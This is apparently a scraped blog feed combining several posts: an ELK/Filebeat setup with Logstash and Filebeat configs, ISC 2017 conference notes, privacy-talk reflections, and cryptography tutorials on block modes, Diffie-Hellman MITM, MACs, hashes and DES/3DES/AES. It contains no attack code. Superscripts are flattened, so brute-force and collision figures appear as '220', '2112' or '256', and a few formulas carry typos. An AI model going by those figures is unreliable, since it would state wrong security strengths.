生成ssl证书

[root@host01 tls]# openssl req -config /etc/pki/tls/openssl.cnf -x509 -days 3650 -batch -nodes -newkey rsa:2048 -keyout private/logstash-forwarder.key -out certs/logstash-forwarder.crt

因为客户端计划用的是filebeat ，可以到官网查阅文档，这里我并没有使用filter和ssl，这样就是最简单的

[root@host01 config]# cat filebeat2es.conf
input {

beats {    port => 10086       type => "logs"ssl  => false    ssl_certificate => "/etc/pki/tls/certs/logstash-forwarder.crt"    ssl_key => "/etc/pki/tls/private/logstash-forwarder.key"}

}
filter {
# It is difficult for me to using gork….
}
output {
# For more info: https://www.elastic.co/guide/en/logstash/current/plugins-outputs-elasticsearch.html
elasticsearch {
hosts => “192.168.1.201:9200”
}
stdout {
codec => rubydebug
}
}

测试配置文件

[root@host01 logstash-6.0.0]# ./bin/logstash -t -f config/filebeat2es.conf

  • step5，filebeat

因为博客引擎的问题，文章发表渲染后的代码格式会略有变化，filebeat的配置文件是基于YAML，YAML是对缩进的要求很严格。

Beats config files are based on YAML, a file format that is easier to read and write than other common data formats like XML or JSON.

在host04的客户端下，利用filebeat发送到logstash，不采用ssl加密

[root@host04 filebeat]# cat filebeat.yml
filebeat.prospectors:

  • type: log
    enabled: true
    paths:
    • /var/log/nginx/*
      output:
      logstash:
      hosts:
    • 192.168.1.201:10086
      shipper: {}
      logging: {}
      runoptions: {}

最后ELK+filebeat都跑起来，注意防火墙放行数据，done。在第一篇也提到了用防火墙实现5601端口转发到80端口，其实用nginx也是可以实现反向代理+登录认证的，网上很多资料，略过。

  • Reference

ELK deployment in centos7 download

Kibana known plugins

]]> https://www.h0u5er.com/elk/ 2017-11-09T21:37:29.000Z 目录：

  1. 事先准备与环境介绍
  2. ES
  3. Kibana
  4. Logstash
  5. Filebeat
  6. Reference

听说6.0版本出来了，人有]]>

ELK的快速部署 2017-11-09T21:37:29.000Z Houser Yuen
匆匆，赴一座城。

佩服许多网络媒体，次日总能把最新的报道文章发出来，北京呆了一个星期，我开始重新思考我的三观，修补删改一个星期，文章仅代表个人思想，与其他任何人或组织无关！

Day One

因为不适应或者只在主会场呆着的原因，值得的思考的问题很多，但我还是比较喜欢技术上的交流

keep people safe？

当下是机器的对抗还是人的对抗？

当代的CIA原则的“I”应该换作可鉴定和可控制？

Cyberspace security？物理层面，运行层面，数据层面，内容层面；载体，资源，主体，形式；

怎么结合保卫、保护、保障做网络安全；

云计算2.0、大数据2.0、等保2.0…..我们为什么要进入2.0？

下午基本是闲逛，展厅有许多稀奇古怪的东西：网络安全概念车、机器人、基于raspberry pie的hadoop集群，XCTF决赛现场、密室逃脱等；听了云计算2.0安全技术创新论坛的内容，感觉不太适合我….来到了DEFCON GROUP 010，I am hacker，I change things :) ，这里的气氛不像其他的会议，年轻、轻松、深入浅出，感觉渐入佳境了，毕竟有了第一天的经验。

Day Two

网络军火与公共安全

Brian Gorenc是ZDI项目的负责人，演讲题目为《网络军火与公共安全》，这老哥的演讲有种让人提神醒脑的感觉，chrome clipboard sandbox escape、Internet explorer localhost sandbox bypass、Virtual machine escape三个短视频让我高潮了…和昨天的大佬们一样都是站在了国家的角度谈论网络安全的问题，或者用周鸿祎说的这是一个“大安全”的问题；周鸿祎才演讲完没多久，媒体就公开了他《人是安全的尺度》的演讲文字记录。两天的交流中都感觉到了国内CTF的热潮和漏洞平台的再次崛起，但也如记者问周鸿祎的问题：

我听到一个说法，这次 Pwn2Own 拿了冠军，但其实当时你不想让360的团队参加，说漏洞不要给别人，我想求证下这个说法—-摘自雷锋网

关于网络军火库是正在发生的问题，周鸿祎打了一个比方：過去行军打仗都是陆战为主，而且一定是粮草先行；陆战发展到今天，若有一战，定有空中力量作为前期支援和铺垫；如今的网络战甚至比制空权来的还更早更激烈一些，瘫痪你的通讯、控制等系统，不战屈兵；作为ZDI项目负责人的Brian Gorenc也聊到了地下市场，也就是金钱、人才、道德的话题。

人+威胁情报 网络世界的真实对抗

由思科Talos技术主管Holger Unterbrink做演讲。大会高频词在这里一直出现：ransomware、 wannacry and petya。有一句话我非常赞同，NO honor belong thieves !!! 然后Holger Unterbrink也给了几点建议防范勒索病毒的建议：

  1. Do offline backups
  2. Patch your systems
  3. educate your user
  4. Do not trust partner networks
  5. Use an intergrated Muti-lager security architechure

人工智能在互联网安全的机会与挑战

由Gartner研究副总裁Tracy Tsai做演讲。老实说，人工智能方面我真的是一个小白，Tracy Tsai的演讲让我获益良多。开场就抛出了问题：每一个产品或者厂家都说有人工智能相关的内容；听完我真的有很大的共鸣，Artificial Intelligence和Cyberspace Security的定义清晰了吗？对我而已可能我还在思考探索阶段。然后做了why it won`t happen 和why is will happen的分析，按照我自己的理解归纳了两个观点的交集在于：

  1. 特定的领域会有特定的算法；
  2. 机器需要训练，分为有人监督和无人监督；
  3. 有专门的人管理这事；
  4. 对数据的要求；

Tracy Tsai还分享了人工智能当前比较适合的领域，如应用安全、恶意软件、漏洞测试、SIEM管理、用户行为和网络流量分析，每一个领域都会有对应的挑战和机会。如上所归纳的四点，数据科学家的培养就得两三年，数据的修正和诱导又是一大难题，钱和数据哪里来？产品完成之后能不能迁移到其他境使用？假设应用安全测试可以降低误报率、漏洞测试甚至还能自主修正Bug等等，人工智能是不是能做到那么强大，我们还需要拭目以待；最后Tracy Tsai提出四个关于研究人工智能的要求和开发流程指导。要求包括：

  1. 自动化；
  2. 7x24小时；
  3. 准确；
  4. 多参数的关联；

人工智能在我看来就是把呱呱落地的婴儿抚养成人的过程，成长的营养与教育十分关键；机器能多维度的看待事情，但我们当前缺乏一套可量化的标准去衡量人工智能在某些方面是否合适，导致了对应的开发工作变的随意化。参考Tracy Tsai的人工智能开发流程分享，我觉得应该是这样的：先量化原本事务的流程，我们为什么要用人工智能或者结合人工智能；然后分析自己的资源，如时间、金钱、人员和数据的投入需要多少，数据监督的办法是什么？第三步，动手。后续可以参考Tracy Tsai提到的action plan for security and risk managers，包括周一早上、未来九十天、未来一年的内容。结束的时候又抛出两个问题：

  1. 当失去准确性的时候，删除不良数据的难度；
  2. 准确性随着时间的推演开始下降，怎么应对；

大数据与威胁分析论坛

第一场：可视化技术在复杂威胁分析中的应用，由北京大学的信息科学中心副主任袁晓如先生做演讲；袁晓如先生去年ISC大会的面向安全的可视化与可视分析演讲，让我现在依然记忆犹新；去年由360提出的数据驱动安全和这个会场的内容息息相关，去年的题目为从微观到宏观—大数据如何改变安全的演讲也让我学到了不少东西。

开场不久，就定义了：可视化分析是由交互可视界面支持的分析推理的科学，这是科学! 虽然我对大数据的研究时间很短，但是确实很多厂家都喜欢用炫酷的界面做展示，但可视化更多的应该是提高认知的一个途径，袁晓如先生在去年和今年都强调了这背后是有心理学的知识作为支撑。在我看来的可视化，应该是在你毫无头绪的时候给了你许多的方向，从这些新的角度你能看到不同的内容。演讲中，袁晓如先生分享了一个参加比赛的题目，如警察办案般一步步接近事情的真相。整个流程我们有了大量的图表信息，我们需要对数据进行抽丝剥茧，到了这一步就需要人的参与了。我这里大胆的假设如果这一部分如果结合人工智能，那可能会颠覆人类在某方面的认知！最后袁晓如先生认为下一代可视化的发展方向应该是AI + VIS 或者 AR + VIS ，可视化应该是交互的。

第二场：基于大数据与机器学习的纵深防御体系建设，由思睿嘉得创始人董靖做演讲；和去年数据安全离不开的应该有威胁情报这一个词，会中董靖强调了威胁情报只是一个辅助工具，但人们对他的期望过高的，导致近两年威胁情报让人感觉是忽悠人的；其实网络安全行业的情报圈很多，做安全方面研究的人知道这些情报的利弊。拿wannacry来说，人家微软在2017年3月14日已经发布了补丁，情报圈内也早有大佬预言大面积的安全事件将会发生，北京时间5月11日下午，圈内的外国小伙伴在发wannacry的截图预警了….故事太长，不码了。总结一句，我认为威胁情报是有意义的，但需要把它的价值用更加直观的方式呈现出来；纵深防御体系一词多次被解释，入行很短时间，不敢妄下评论，我相信任何事物都有两面性；ISC结束的第二天就在朋友圈看到一张这样的图：

换了一个会场，四川大学网络空间安全学院副院长陈兴蜀谈高校网络安全；先铺垫了网络安全的重要性，然后提到了四川大学的两大系统：舆情监控和安全态势分析大数据平台；研究技术的人应该都知道这两套东西的原理是什么，但这一套系统由四川大学的学生参与建设，而且调试的很好，所以系统的可用性和价值都大大提升了；

结束语

  • 某提供ISC直播的平台上被XSS玩坏了；
  • 其实没门票也有办法进入会场，毕竟“人是安全的尺度”;

在帝都遇到了许多人和事，有时候我在想我为什么去了ISC？我都做了些什么？ what I long for it？

20170922 update
PPT链接: https://pan.baidu.com/s/1pLI9nhp 密码: be4b

]]> https://www.h0u5er.com/isc/ 2017-09-23T16:00:00.000Z
匆匆，赴一座城。

佩服许多网络媒体，次日总能把最新的报道文章发出来，北京呆了一个星期，我开始重新]]>

参加ISC 2017会议 2017-09-23T16:00:00.000Z Houser Yuen 好久没安静的打字，拖延症还是很严重。20日，参加了知乎的一场Live，讨论当下如何保护自己的隐私安全，逻辑一如既往清晰，这道大门开的方向很好，值得。但一开始我认为是攻防之间的博弈，结果都是用户高成本的防御，略有失望。仅站在自己角度说几句。

你确实不能知道网络的那头是人还是狗。用4G代替wifi，不要轻易递出名片，用两台电脑隔离自己的上网行为……等等提到的防御手段确实有它存在的道理，但这意味着在我们在生活中需要花费一笔额外的钱，来保护我们的隐私和数据安全，比如买正版软件，多一张手机卡等等。无可厚非的是4G也有伪基站攻击、官网下载的软件也能被后门，即使退一万步说安全系数上去了，但普通用户的成本也上去了，也如主讲表述的一样：

你需要具有被攻击的价值

隐私问题仿佛回到了多年前的安全问题：没人中招，就没人在乎；即便抛开认知的问题，成本也是很重要的因素，包月的付费软件、隧道、流量包等，加之还有致命的行为习惯，安全变的很被动。讲了那么多，为什么没有主动的保护用户隐私和数据的方式？看了道哥的采访提到的弹性网络，那么其实用户的信息能不能像DNS一样，一旦当我需要快速切换的时候，有某种机制能够保证数据的统一和指向性？Just a whimsy :p

姓名=域名；

信息=ip；

说到数据，最近确实在研究海量数据的工作，有一种辛酸叫人工处理。不管人工智能和机器学习什么的是不是吹牛逼，但是数据的价值确实无法估量，相信好玩的事情还在等待我去发掘，愿你我在这个时代都能找到安全感。

]]> https://www.h0u5er.com/privacy/ 2017-08-21T16:00:00.000Z 好久没安静的打字，拖延症还是很严重。20日，参加了知乎的一场Live，讨论当下如何保护自己的隐私安全，逻辑一如既往清晰，这道大门开的方向很好，值得。但一开始我认为是攻防之间的博弈，结果都是用户高成本的防御，略有失望。仅站在自己角度说几句。

你确实不能知道网络的]]>

参加关于隐私话题的知乎live 2017-08-21T16:00:00.000Z Houser Yuen 非常好的密码学系列视频导论 自行扶梯

目录

1.分组加密简介
2.非对称密码学的数学基础
3.RSA算法的原理
4.DH算法的原理
5.信息摘要和Hash算法

### 1.分组加密简介 其实 [之前的一篇文章](http://www.h0u5er.com/Classical-cryptography-2/)里面已经提及到了分組加密（Block cipher）密和流加密（Stream cipher）。知乎上许多人讨论 bitcoin 的区块加密原理，这里只简单概述 Block cipher ，下面引用 wiki 凑个字数。

在密码学中，流加密（英语：Stream cipher），又译为串流加密、资料流加密，是一种对称加密算法，加密和解密双方使用相同伪随机加密数据流（pseudo-random stream）作为密钥，明文数据每次与密钥数据流顺次对应加密，得到密文数据流。实践中数据通常是一个位（bit）并用异或（xor）操作加密。该算法解决了对称加密完善保密性（perfect secrecy）的实际操作困难。“完善保密性”由克劳德·香农于1949年提出。由于完善保密性要求密钥长度不短于明文长度，故而实际操作存在困难，改由较短数据流通过特定算法得到密钥流。

在密码学中，分组加密（英语：Block cipher），又称分块加密或块密码，是一种对称密钥算法。它将明文分成多个等长的模块（block），使用确定的算法和对称密钥对每组分别加密解密。分组加密是极其重要的加密协议组成，其中典型的如DES和AES作为美国政府核定的标准加密算法，应用领域从电子邮件加密到银行交易转帐，非常广泛。现代分组加密建立在迭代的思想上产生密文。其思想由克劳德·香农在他1949年的重要论文《保密系统的通信理论》（Communication Theory of Secrecy Systems）中提出，作为一种通过简单操作如替代和排列等以有效改善保密性的方法。[1] 迭代产生的密文在每一轮加密中使用不同的子密钥，而子密钥生成自原始密钥。

常用的分组密码工作模式有：

电子密码本（ECB）
密码块链接（CBC）

<—–此处只介绍上面两个模式—–>

填充密码块链接（PCBC）
密文反馈（CFB）
输出反馈（OFB）
计数器模式（CTR）

最简单的加密模式即为电子密码本（Electronic codebook，ECB）模式。需要加密的消息按照块密码的块大小被分为数个块，并对每个块进行独立加密。1976年，IBM发明了密码分组链接（CBC，Cipher-block chaining）模式。在CBC模式中，每个明文块先与前一个密文块进行异或后，再进行加密。在这种方法中，每个密文块都依赖于它前面的所有明文块。同时，为了保证每条消息的唯一性，在第一个块中需要使用初始化向量。

电子密码本（ECB） 可以说这种分组加密模式是最简单的，就是切割成等大的 Block 之后，用相同的 Key 进行加密和解密。看图片就一目了然： ![](https://i.ooxx.ooo/2018/07/26/f506aa632c17e880038796ef2699cee8.png)![](https://i.ooxx.ooo/2018/07/26/4ab538f02afb0b163df9a20a044fb66c.png)

用公式来表示，已知存在普通的加密方式：
c = Ek(m)
把 m 分成许多小块 m0，m1,m2，m3……mn
这时候，就存在：
c0 = Ek(m0 )
c1 = Ek(m1 )
c2 = Ek(m2 )
c3 = Ek(m3 )
……
mn = Ek(mn )

由于 EBC 采用了同一把 key ，所以在运算的时候，支持并发多进程同时计算，在性能上有绝对的优势。但是，当接受端收到的报文顺序是c0，c2，c3，c1，这样的错误顺序， ECB 就没办法解决了，这就存在密码学中的 剪下和贴上问题（Cut and Paste）。还有信息安全中的完整性（Integrity）和保密性的问题，由于采用了相同的 key ，所以明文 m 和密文 c 总是存在一一对应的关系，当攻击者有足够多的对应关系时，就有很大几率猜测到明文的内容。譬如 ip 包的数据格式有些是不变的，用 EBC 加密时，对应的密文总是不变的。

补充一点，ECB 是如何处理不足一个 Block 的数据的，密码学称为填充（Padding）。譬如采用的是 DES 加密，会把数据分成 64 bit 为一个 Block ，不足部分就填充数据，填充需要协商，可以是全零，或者全一，或者其他等等。

密码块链接（CBC） 刚刚上面说了 ECB 的优缺点，现在假设每一个 Block 采用不同的 Key 加密，能解决上面的问题吗？其实本系列的前几篇提到多的 OTP（one-time pad） 思路和这个假设是一样的，第一个 Block 用一把 key 加密，然后第二个 Block 用第二把 key 做加密，如此类推，这是最安全的，但是需要频繁交换 key ，而且管理上也很麻烦。 > 既然 OTP 不行，那么前几篇提到的 codebook 可以解决 ECB 的缺点吗？codebook 里面就有许多随机的 key

嗯，是可以的。也如前几篇提及的办法一样，除了 codebook 之外还需要 Additive book 的加入。首先介绍一个叫初始向量（initialization vector）的东西，它是一个随机乱数，简称IV。用公式来表示，已知存在普通的加密方式：
c = Ek(m)
把 m 分成许多小块 m0，m1,m2，m3……mn
这时候，就存在：
c0 = Ek(m0⊕IV )
c1 = Ek(m1⊕c0)
c2 = Ek(m2⊕c1 )
c3 = Ek(m3⊕c2 )
……
mn = Ek(mn⊕cn-1 )

这样的好处在于，加密依然采用同一把 Key，但是打破了 ECB 里面的独立性问题，相邻之间的密文会受到影响。


CBC 的优点使它也存在缺点，那就是当一个 Block 存在错误的时候，会导致后面的加密或者解密出现问题，譬如当c1加密出错，变成了g1，那么在解密的时候就会出现下面的错误：

虽然上面影响的明文只有m1和m2，但是依然是存在 Cut and Paste 问题


下面一张图，就很好的证明了 CBC 的加密保密性强于 ECB

计算器模式(CTR)
计算器模式不常见，在CTR模式中，有一个自增的算子，这个算子用密钥加密之后的输出和明文异或的结果得到密文，相当于一次一密。这种加密方式简单快速，安全可靠，而且可以并行加密，但是在计算器不能维持很长的情况下，密钥只能使用一次。CTR的示意图如下所示：

### 2.非对称密码学的数学基础 高中数学考过11分的我，无所畏惧。继续凑字数：>公开密钥加密（英语：public-key cryptography，又译为公开密钥加密），也称为非对称加密（asymmetric cryptography），一种密码学算法类型，在这种密码学方法中，需要一对密钥，一个是私人密钥，另一个则是公开密钥。这两个密钥是数学相关。用某用户密钥加密后所得的信息，只能用该用户的解密密钥才能解密。如果知道了其中一个，并不能计算出另外一个。因此如果公开了一对密钥中的一个，并不会危害到另外一个的秘密性质。称公开的密钥为公钥；不公开的密钥为私钥。常见的公钥加密算法有：RSA、ElGamal、背包算法、Rabin（RSA的特例）、迪菲－赫尔曼密钥交换协议中的公钥加密算法、椭圆曲线加密算法（英语：Elliptic Curve Cryptography, ECC）。使用最广泛的是RSA算法（由发明者Rivest、Shmir和Adleman姓氏首字母缩写而来）是著名的公开秘钥加密算法，ElGamal是另一种常用的非对称加密算法。

与对称密钥加密相比，公钥加密使用两把不同的密钥，公钥可在互联网上公开，私钥必须保证仅自己所有。因为使用公钥进行加密的内容，只有私钥可以解开。但用私钥加密的内容，公钥可以解开。详细請参考阮一峰先生的 RSA算法原理一

### 3.RSA算法的原理 [ RSA算法原理二 ](http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html) 写的无懈可击，小白不敢妄自概述，大家可以优先参考。

### 4.DH算法的原理 迪菲-赫尔曼密钥交换（英语：Diffie–Hellman key exchange，缩写为D-H） 是一种安全协议。它可以让双方在完全没有对方任何预先信息的条件下通过不安全信道创建起一个密钥。这个密钥可以在后续的通讯中作为对称密钥来加密通讯内容。公钥交换的概念最早由瑞夫·墨克（Ralph C. Merkle）提出，而这个密钥交换方法，由惠特菲尔德·迪菲（Bailey Whitfield Diffie）和马丁·赫尔曼（Martin Edward Hellman）在1976年首次发表。马丁·赫尔曼曾主张这个密钥交换方法，应被称为迪菲-赫尔曼-墨克密钥交换（英语：Diffie–Hellman–Merkle key exchange）。虽然迪菲－赫尔曼密钥交换本身是一个匿名（无认证）的密钥交换协议，它却是很多认证协议的基础，并且被用来提供传输层安全协议的短暂模式中的完备的前向安全性。 关于离散对数的概念和算法的原理，许多前辈写的很好，可以[参考这一篇](http://blog.csdn.net/fw0124/article/details/8462373)文章。 - 1 给定 p 为质数，并且选定 g 为 generator ，其满足对于 x ∈ ｛1，2，3....，p-1｝会有 n 使得 x = gn mod p - 2 Alice 选择自己的私有数值 a- 3 Bob 选择自己的私有数值 b- 4 Alice 将 ga mod p 发送给 Bob- 5 Bob 将 gb mod p 发送给 Alice- 6 Alice 和 Bob 可以利用自己的私有数值计算出一个共享的值：gab mod p，这个值可以当作是对称加密算法里面的 Key

我们可以发现，有下面的数学表达式
公开的内容有：g 和 p
私有的内容有: Alice 的 a 和 Bob 的 b
Alice 需要计算（gb）a = gab mod p
Bob 需要计算（ga）b = gab mod p
Alice 和 Bob 可以使用 KAB = gab mod p 作为对称加密算法的 Key
一个被动的攻击者只能窃听通讯，但是无法得到 gab ，因为求解离散对数问题是困难的，但是存在 MITM 攻击的可能性。比如存在攻击者 Charlie 的话，那么就会有下面：

  • 1 Alice 发送的 ga mod p 给 Bob，但是通讯的数据被中间人 Charlie 截获

  • 2 Charlie 伪装自己是 Alice ，继续与 Bob 通讯，所以会发送 gc mod p 给 Bob

  • 3 Bob 收到了 Charlie 的数据，此时会认为通讯者是 Alice ，于是会回应gb mod p 给 Charlie

  • 4 Charlie 收到 Bob 的回应，为了伪造 Alice 和 Bob 之间是正常通讯，Charlie 会发送 应gc mod p 给 Alice

  • 5 整个 MITM 攻击链完成，相当于在 Charlie 站在 Alice 和 Bob 两个人之间

    下面举一个例子，只需要知道基本的模运算和一点点英语水平，不能理解的话建议回到 文章RSA算法部分 阅览两篇参考文章

### 5.信息摘要和Hash算法 首先需要知道信息安全的 CIA 原则。对于消息，需要保证完整性、可行性和时效性。对消息加密不一定就能解决完整性的问题，譬如 ECB 分组加密，攻击者重新排列分组次序后可以破解。再者不是所以消息都需要加密传输，譬如广播包，认证数据等，只需要证明数据来源可靠真实即可。消息认证有三种方式：
  • 1 消息加密（Message encryption），整个消息的密文作为认证的标识
  • 2 消息认证码（公开函数+密钥），采用一个公开函数，加上一个密钥产生一个固定长度的值作为认证标识
  • 3 散列函数，一个公开的函数将任意长度的消息映射到一个固定长度的散列值作为认证标识

消息认证码（英语：Message authentication code，缩写为MAC），又译为消息鉴别码、文件消息认证码、讯息鉴别码、信息认证码，是经过特定算法后产生的一小段信息，检查某段消息的完整性，以及作身份验证。它可以用来检查在消息传递过程中，其内容是否被更改过，不管更改的原因是来自意外或是蓄意攻击。同时可以作为消息来源的身份验证，确认消息的来源。
消息认证码的算法中，通常会使用带密钥的散列函数（HMAC），或者块密码的带认证工作模式（如CBC-MAC）。
信息鉴别码不能提供对信息的保密，若要同时实现保密认证，同时需要对信息进行加密

MAC 使用一个双方共享的秘密密钥生产一个固定大小的小数据块，并加入到消息中。
Alice 和 Bob 共享密钥 K，对于消息 m，MAC = Ck(m)。这时候如果接受方和发送方的MAC一致，就可以得知：

  • 消息 m 未被修改
  • 消息来自所声明的发送者
  • 如果消息中含有序列号，则可以保证正确的消息顺序

MAC函数类似于加密函数，但是不需要可逆性，因此数学上比加密算法被攻击的弱点少一点。MAC 不等于数字签名，因为通讯双方使用的是相同的 Key 。MAC 具有固定的长度，它的结构是它安全保证的基础，密钥足够长+加密算法足够好≠安全

  • m = （X1,X2,X3….Xt）
  • 对于 m 产生的 MAC 是 M = X1⊕X2⊕X3⊕….⊕Xt
  • MAC = Ek（M）
  • 攻击者选择 M1 = （Y1,Y2….Yt-1,Yt）使得 Yt 满足：Yt = Y1⊕Y2⊕….⊕Yt-1⊕M
  • 于是M = M1，得出 Ek(M) = Ek(M1),得到 Ck(M) = Ck(M1)，几时攻击者不知道 K ，仍然可以伪造消息 M1

    MD5消息摘要算法（英语：MD5 Message-Digest Algorithm），一种被广泛使用的密码散列函数，可以产生出一个128位（16字节）的散列值（hash value），用于确保信息传输完整一致。MD5由罗纳德·李维斯特设计，于1992年公开，用以取代MD4算法。这套算法的程序在 RFC 1321 中被加以规范。
    将数据（如一段文字）运算变为另一固定长度值，是散列算法的基础原理。
    1996年后被证实存在弱点，可以被加以破解，对于需要高度安全性的数据，专家一般建议改用其他算法，如SHA-1。2004年，证实MD5算法无法防止碰撞，因此无法适用于安全性认证，如SSL公开密钥认证或是数字签名等用途。

MD5 以512位的分组来处理输入的信息，每一组又划分为16个32位子分组，每一个分组又要进过四轮的循环处理，啪啪啪的运行之后得出128位的摘要值。一般128位的MD5散列被表示为32位十六进制数字。以下是一个43位长的仅ASCII字母列的MD5散列： 

1
2
3
4
5
6
7
8
MD5("The quick brown fox jumps over the lazy dog")
= 9e107d9d372bb6826bd81d3542a419d6
即使在原文中作一个小变化（比如用c取代d）其散列也会发生巨大的变化：    
MD5("The quick brown fox jumps over the lazy cog")
= 1055d3e698d289f2af8663725127bd4b
空文的散列为：
MD5("")
= d41d8cd98f00b204e9800998ecf8427e

2009年谢涛和冯登国仅用了220.96的碰撞算法复杂度，破解了MD5的碰撞抵抗，该攻击在普通计算机上运行只需要数秒钟。MD5 是一种不可逆的变换算法，典型应用是对一段信息（Message）产生信息摘要（Message Digest），以防止被篡改。下面介绍的 sha-1 算法就是由 MD4 的基础上开发的。

SHA-1（英语：Secure Hash Algorithm 1，中文名：安全散列算法1）是一种密码散列函数，美国国家安全局设计，并由美国国家标准技术研究所（NIST）发布为联邦数据处理标准（FIPS）。SHA-1可以生成一个被称为消息摘要的160位（20字节）散列值，散列值通常的呈现形式为40个十六进制数。
SHA-1已经不再视为可抵御有充足资金、充足计算资源的攻击者。2005年，密码分析人员发现了对SHA-1的有效攻击方法，这表明该算法可能不够安全，不能继续使用，自2010年以来，许多组织建议用SHA-2或SHA-3来替换SHA-1。Microsoft、Google以及Mozilla都宣布，它们旗下的浏览器将在2017年前停止接受使用SHA-1算法签名的SSL证书。
2017年2月23日，CWI Amsterdam与Google宣布了一个成功的SHA-1碰撞攻击，发布了两份内容不同但SHA-1散列值相同的PDF文件作为概念证明。

一个最简单的 Hash 函数是这样运作的：

  • 将输入的数据分成若干等长的分组
  • 对每一个分组按位进行异或运算
  • 结果为其消息摘要

Hash 函数的特点：

  1. 输入长度没有长度限制，能把任意长度的输入数据生成固定的输出
  2. 已知 m ，计算 hash（m）是容易的
  3. 已知 c = hash（m），求 m 是困难的
  4. 已知 hash（m1）= c1, 构造 m2，使得 hash（m2）= c1 是困难的
  5. 已知 c = hash（m），c 的每一个比特都与 m 的每一个比特有关，并且高度敏感。每改变一个 m 的 比特，都会有明显的影响。

有两种攻击手法适用于 Hash 函数，暴力破解和生日悖论,由生日悖论得知，当一个40比特的信息摘要是很不安全的，因为只需要用220(大概一百万)次的随机 Hash 就至少拥有 50% 概率得出正确明文。通常建议消息摘要的长度至少应该128比特，此时生日攻击需要约264次 Hash 运算。
MD5 标准的输出长度选为128比特
SHA-1 标准的输出长度选为160比特

IV = initial value 初始值
CV = chaining value 链接值
Yi = ith input block 第i个输入数据块
f = compression algorithm 压缩算法
n = length of hash code 散列码的长度
b = length of input block 输入块的长度
把原始消息 M 分成一些固定长度的块 Yi ，最后一块填充 padding 并使用包含消息 M 的长度。设置初始值CV0，压缩函数f，CVi = f(CVi-2,Yi-1) ，最后一个CVi为hash值
关于 sha1 攻击

结束语

之所以研究密码学，完全是因为考试需要…..重感冒配上小费马定律会更搭噢

]]> https://www.h0u5er.com/Classical-cryptography-4/ 2017-05-14T16:00:00.000Z 非常好的密码学系列视频导论 自行扶梯

目录

 非对称密码学 2017-05-14T16:00:00.000Z Houser Yuen 非常好的密码学系列视频导论 自行扶梯
本文介绍DES 、3DES 、AES算法，发现密码学这东西的套路是一环一环的，粗略的回顾一下费斯特(feistel cipher)加密公式，加密过程：
m=(L0,R0)
For each round : i=1,2,3,4…..n
Li=Ri-1
Ri=Li-1⊕Functions(Ri-1,Ki )
进过n轮迭代之后，得出
c=(Ln,Rn)
k指的是subkey ，解密过程：
i=n，n-1，n-2….1
Ri-1 = Li
Li-1 = Ri ⊕ Functions (Ri-1,Ki )

把上一篇密码学后面三个小章节回顾一下，好了，开始写一篇关于对称密码学的
stream cipher
block cipher
feistel cipher

对称加密简介

一句话，加密解密使用同一把密钥，其他百度。

#### DES加密

Data Encryption Standard,1977年被美国联邦政府的国家标准局确定为联邦资料处理标准，至今暴力破解仍然是对 DES 最有效的攻击手法。> 有一段撕逼情节，主角是美国国家标准局（National Bureau of standards ）和美国国家安全局（National Security Agency）。DES 雏形是 IBM 提出，经过 NSA 的修改后成为如今的 DES 。

DES 属于block cipher
区块大小是 64 bit
key 的长度是 56 bit
加密轮数 16轮
每轮的 key 长度是 48 bit
DES 的核心安全保障在于 Substitution-box 操作，也就是常说的 S 盒。IBM 的提案里面的 key 是128 bit ，经过 NSA 修改了 S 盒之后，就变成了 56 bit 。

是的，Key 变短了，那么安全性会变化么？还有就是 NSA 改了之后，会不会有后门？密码学中规定，算法的流程和算法过程需要对全部人公开。

DES 类似 Feistel cipher 架构，算法操作流程大概是这样的：
DES 属于block cipher，先把数据等分成左边和右边，这里先假设数据不需要填充，刚刚好是 64 bit 的大小,那么会有：
64 bit = 32 bit + 32 bit = L0 + R0
先看看简单的左半边，直接就是 ： Li = Ri-1,
右半边是：
Ri = Li-1 ⊕ Functions (Ri-1,Ki ) ，简单说明就是先经过从32 bit 扩充到 48 bit，然后做一个⊕的运算，得出的结果依然是 48 bit，此时有八组的S-box，完成之后进入P-box，最终出来的是32 bit的数据。

刚刚需要异或运算的情况，是这样：

key 先做简单的切割转换，压缩之后的结果参与运算，同时，key 会继续参加一下次的迭代运算。
好的，以上S-box、P-box、key的压缩等等所有的流程都是公开的，S-box 和 P-box 其实只是做重新排列，S-box的表在网上可以查到。原本 6X8=48bit 的数据，经过 S-box 之前变成了 4X8=32 bit ，令人佩服的是，S-box的设计真的很巧妙，下面是八组 S-box 中的 S1 ：

标准一点的图示就是这样的：

Triple DES

Triple DES 也叫做 3DES，由于计算机性能的发展，DES原本56 bit 的 key 总不能一直用下去，虽然至今没有出现什么大问题。

Q1 :
Triple DES的Key长度是 112 bit 还是 168 bit ？ 没错，Triple DES 只需要两把Key做运算，也就是112 bit

我们来做一次高中的数学证明题，已知：
对称加密算法中，加密和解密的Key是一样，则存在推论一：
m = Dk (Ek(m))
c = Ek (Dk(c))
根据对称加密算法的性质，可知推论二：
m ≠ Dk2 (Ek1(m))
c ≠ Ek2 (Dk1(c))
假设Triple DES 使用了三把不同的Key，就会有：

由推论二得知，把Ek3替换成Ek1，并不影响加密效果

所以Triple DES 完全可以只用两把Key就可实现加密，好处在于减少计算量，降低协商密钥的难度，而且向下兼容原本的 DES，当一端使用 DES，另一端使用 Triple DES 的时候，只需要这样：

Q2 :
既然只用了两把key，为什么不叫 Double DES

假设我们就用了Double DES ，那么就会存在下面两个公式：
c = Ek2 (Ek1(m))
m = Dk1 (Dk2(c))
如果上面两个公式，采用暴力破解的话，需要尝试 2112次，基于对称加密算法的性质，我们的公式可以变成这样：
Dk2(c) = Ek1(m)
转换之后的公式，暴力破解就变成了需要尝试256次，和 DES 没有区别。

Q3 :
Triple DES 怎么就解决了 Double DES 的问题？


同样的，左边的两条公式可以转换成右边的两条公式，且上文 Q1 已经证明，key3 可以当作是 Key1，所以转换之后，等式依然成立。此时暴力破解需要尝试的次数为2112次

#### AESAdvanced Encryption Standard，由比利时密码学家Joan Daemen和Vincent Rijmen所设计。DES和Triple DES 也可以用，但是由于NSA参与了DES原型修改，所以有人担心存在后门。> 美国国家标准局NSB改名，变成美国国家标准技术研究所，Naltional Institute of Standards and Technology，同时开启了下一代标准算法的征集计划，这次和NAS没什么关系。

时代在发展，AES 不再使用 Feistel cipher 架构，不再是仅对分区后的半边做运算，AES 的 key 可以是 128 、 192 、256 bit ，block size 是 128 bit ，迭代会执行 10-14 次，这个取决于 key 的长度是多少。 AES 的每一轮会有四个动作：SubBytes、ShiftRows、MixColumns、AddRoundKey。

  1. SubBytes
